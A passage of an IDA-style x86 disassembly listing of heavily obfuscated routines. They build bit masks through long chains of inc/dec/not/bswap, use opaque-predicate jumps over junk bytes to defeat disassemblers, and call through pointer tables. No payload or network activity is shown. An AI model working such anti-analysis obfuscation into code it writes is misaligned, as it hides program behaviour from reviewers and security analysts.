		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	edi
		dec	edi
		dec	bl
		dec	bl
		dec	bl
		sub	cl, 2
		dec	bl
		dec	cl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED3E8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49ACE0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49ACE0:				; CODE XREF: sub_49AC45+90j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D3C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49AC45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49ACF4	proc near		; DATA XREF: sub_4965D8+3BBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		jo	short loc_49AD2A
		jl	short loc_49AD28


loc_49AD23:				; CODE XREF: sub_49ACF4:loc_49AD28j
					; sub_49ACF4:loc_49AD2Aj
		jmp	short loc_49AD2C
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49AD28:				; CODE XREF: sub_49ACF4+2Dj
		jz	short loc_49AD23


loc_49AD2A:				; CODE XREF: sub_49ACF4+2Bj
		jmp	short loc_49AD23
; ---------------------------------------------------------------------------


loc_49AD2C:				; CODE XREF: sub_49ACF4:loc_49AD23j
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		not	ecx
		not	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		jo	short loc_49AD7B
		jl	short loc_49AD79


loc_49AD74:				; CODE XREF: sub_49ACF4:loc_49AD79j
					; sub_49ACF4:loc_49AD7Bj
		jmp	short loc_49AD7D
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49AD79:				; CODE XREF: sub_49ACF4+7Ej
		jz	short loc_49AD74


loc_49AD7B:				; CODE XREF: sub_49ACF4+7Cj
		jmp	short loc_49AD74
; ---------------------------------------------------------------------------


loc_49AD7D:				; CODE XREF: sub_49ACF4:loc_49AD74j
		and	eax, ecx
		pop	ecx
		pop	edx
		test	eax, eax
		jnz	loc_49AEA6
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		jo	short loc_49ADDE
		jl	short loc_49ADDC


loc_49ADD7:				; CODE XREF: sub_49ACF4:loc_49ADDCj
					; sub_49ACF4:loc_49ADDEj
		jmp	short loc_49ADE0
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49ADDC:				; CODE XREF: sub_49ACF4+E1j
		jz	short loc_49ADD7


loc_49ADDE:				; CODE XREF: sub_49ACF4+DFj
		jmp	short loc_49ADD7
; ---------------------------------------------------------------------------


loc_49ADE0:				; CODE XREF: sub_49ACF4:loc_49ADD7j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_49ADF3
		jl	short loc_49ADF1


loc_49ADEC:				; CODE XREF: sub_49ACF4:loc_49ADF1j
					; sub_49ACF4:loc_49ADF3j
		jmp	short loc_49ADF5
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49ADF1:				; CODE XREF: sub_49ACF4+F6j
		jz	short loc_49ADEC


loc_49ADF3:				; CODE XREF: sub_49ACF4+F4j
		jmp	short loc_49ADEC
; ---------------------------------------------------------------------------


loc_49ADF5:				; CODE XREF: sub_49ACF4:loc_49ADECj
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		jo	short loc_49AE23
		jl	short loc_49AE21


loc_49AE1C:				; CODE XREF: sub_49ACF4:loc_49AE21j
					; sub_49ACF4:loc_49AE23j
		jmp	short loc_49AE25
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49AE21:				; CODE XREF: sub_49ACF4+126j
		jz	short loc_49AE1C


loc_49AE23:				; CODE XREF: sub_49ACF4+124j
		jmp	short loc_49AE1C
; ---------------------------------------------------------------------------


loc_49AE25:				; CODE XREF: sub_49ACF4:loc_49AE1Cj
		and	al, cl
		jo	short loc_49AE32
		jl	short loc_49AE30


loc_49AE2B:				; CODE XREF: sub_49ACF4:loc_49AE30j
					; sub_49ACF4:loc_49AE32j
		jmp	short loc_49AE34
; ---------------------------------------------------------------------------
		db 0E8h, 12h, 26h
; ---------------------------------------------------------------------------


loc_49AE30:				; CODE XREF: sub_49ACF4+135j
		jz	short loc_49AE2B


loc_49AE32:				; CODE XREF: sub_49ACF4+133j
		jmp	short loc_49AE2B
; ---------------------------------------------------------------------------


loc_49AE34:				; CODE XREF: sub_49ACF4:loc_49AE2Bj
		pop	ecx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49AE58
		jl	short loc_49AE56


loc_49AE51:				; CODE XREF: sub_49ACF4:loc_49AE56j
					; sub_49ACF4:loc_49AE58j
		jmp	short loc_49AE5A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49AE56:				; CODE XREF: sub_49ACF4+15Bj
		jz	short loc_49AE51


loc_49AE58:				; CODE XREF: sub_49ACF4+159j
		jmp	short loc_49AE51
; ---------------------------------------------------------------------------


loc_49AE5A:				; CODE XREF: sub_49ACF4:loc_49AE51j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 7
		dec	dh
		sub	dh, 3
		dec	dh
		jo	short loc_49AE90
		jl	short loc_49AE8E


loc_49AE89:				; CODE XREF: sub_49ACF4:loc_49AE8Ej
					; sub_49ACF4:loc_49AE90j
		jmp	short loc_49AE92
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49AE8E:				; CODE XREF: sub_49ACF4+193j
		jz	short loc_49AE89


loc_49AE90:				; CODE XREF: sub_49ACF4+191j
		jmp	short loc_49AE89
; ---------------------------------------------------------------------------


loc_49AE92:				; CODE XREF: sub_49ACF4:loc_49AE89j
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49AEA6
		and	eax, 0
		inc	eax
		jmp	short loc_49AEA9
; ---------------------------------------------------------------------------


loc_49AEA6:				; CODE XREF: sub_49ACF4+8Fj
					; sub_49ACF4+1AAj
		and	eax, 0


loc_49AEA9:				; CODE XREF: sub_49ACF4+1B0j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49AECC
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49AECC:				; CODE XREF: sub_49ACF4+1CDj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49ACF4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AEE0	proc near		; DATA XREF: sub_4965D8+443o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 80h
		xchg	eax, ecx
		mov	ecx, 1
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		push	edx
		mov	dh, 12h
		dec	dh
		dec	dh
		not	ecx
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		dec	dh
		dec	dh
		sub	dh, 5
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		and	ah, dh
		mov	dl, 9
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		not	ecx
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		add	dl, 1
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49AF85
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49AF85:				; CODE XREF: sub_49AEE0+9Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49AEE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AF99	proc near		; DATA XREF: sub_4965D8+D07o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 200h
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		jo	short loc_49B062
		jl	short loc_49B060


loc_49B05D:				; CODE XREF: sub_49AF99:loc_49B060j
					; sub_49AF99:loc_49B062j
		jmp	short loc_49B064
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49B060:				; CODE XREF: sub_49AF99+C2j
		jz	short loc_49B05D


loc_49B062:				; CODE XREF: sub_49AF99+C0j
		jmp	short loc_49B05D
; ---------------------------------------------------------------------------


loc_49B064:				; CODE XREF: sub_49AF99:loc_49B05Dj
		jnz	short loc_49B06B
		and	eax, 0
		jmp	short loc_49B06F
; ---------------------------------------------------------------------------


loc_49B06B:				; CODE XREF: sub_49AF99:loc_49B064j
		and	eax, 0
		inc	eax


loc_49B06F:				; CODE XREF: sub_49AF99+D0j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B092
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B092:				; CODE XREF: sub_49AF99+EEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49AF99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B0A6	proc near		; DATA XREF: sub_4965D8+1449o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0D00h
		pop	ebx
		jo	short loc_49B0DC
		jl	short loc_49B0DA


loc_49B0D5:				; CODE XREF: sub_49B0A6:loc_49B0DAj
					; sub_49B0A6:loc_49B0DCj
		jmp	short loc_49B0DE
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49B0DA:				; CODE XREF: sub_49B0A6+2Dj
		jz	short loc_49B0D5


loc_49B0DC:				; CODE XREF: sub_49B0A6+2Bj
		jmp	short loc_49B0D5
; ---------------------------------------------------------------------------


loc_49B0DE:				; CODE XREF: sub_49B0A6:loc_49B0D5j
		sub	bh, 5
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 25h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 17h
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B13B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B13B:				; CODE XREF: sub_49B0A6+8Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B0A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B14F	proc near		; DATA XREF: sub_4965D8+94Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B1E4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B1E4:				; CODE XREF: sub_49B14F+8Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B14F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B1F8	proc near		; DATA XREF: sub_4965D8+C3Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B288
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B288:				; CODE XREF: sub_49B1F8+85j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B1F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B29C	proc near		; DATA XREF: sub_4965D8+C24o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_49B2C5
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_49B2C5:				; CODE XREF: sub_49B29C+22j
		mov	ebx, 32h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B30E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B30E:				; CODE XREF: sub_49B29C+67j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B29C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B322	proc near		; DATA XREF: sub_4965D8+8B0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		test	eax, eax
		jnz	loc_49B446
		pop	ebx
		pop	edx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Dh
		pop	ebx
		jo	short loc_49B408
		jl	short loc_49B406


loc_49B401:				; CODE XREF: sub_49B322:loc_49B406j
					; sub_49B322:loc_49B408j
		jmp	short loc_49B40A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49B406:				; CODE XREF: sub_49B322+DDj
		jz	short loc_49B401


loc_49B408:				; CODE XREF: sub_49B322+DBj
		jmp	short loc_49B401
; ---------------------------------------------------------------------------


loc_49B40A:				; CODE XREF: sub_49B322:loc_49B401j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 17h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49B446
		and	eax, 0
		inc	eax
		jmp	short loc_49B449
; ---------------------------------------------------------------------------


loc_49B446:				; CODE XREF: sub_49B322+6Dj
					; sub_49B322+11Cj
		and	eax, 0


loc_49B449:				; CODE XREF: sub_49B322+122j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B46C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B46C:				; CODE XREF: sub_49B322+13Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B322	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B480	proc near		; DATA XREF: sub_4965D8+3FFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		sub	dh, 1
		sub	dh, 1
		dec	dh
		and	ah, dh
		mov	edx, 800h
		mov	dl, 0Fh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		and	al, dl
		not	ah
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B511
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B511:				; CODE XREF: sub_49B480+86j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B480	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B525	proc near		; DATA XREF: sub_4965D8+163Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, 4
		bswap	eax
		not	eax
		pop	eax
		push	edx
		mov	dh, 80h
		mov	dh, 0
		inc	dh
		mov	ecx, ecx
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		push	ebx
		inc	dh
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 800h
		xchg	eax, ecx
		mov	ecx, 40h
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		inc	dh
		inc	dh
		and	ebx, 800h
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	ebx, 10h
		inc	dh
		inc	dh
		pop	ebx
		sub	dh, 0Dh
		dec	dh
		and	ah, dh
		mov	dl, 5
		sub	dl, 0FFh
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 0FFh
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED408
		xor	ecx, dword_4ED40C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B5DA
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B5DA:				; CODE XREF: sub_49B525+AAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B5EE	proc near		; DATA XREF: sub_4965D8+1213o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D9C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 5
		dec	bh
		sub	bh, 1
		dec	bh
		sub	bh, 2
		and	eax, 80h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 0A1h
		dec	bl
		dec	esi
		dec	bl
		sub	bl, 0Eh
		dec	bl
		dec	bl
		dec	bl
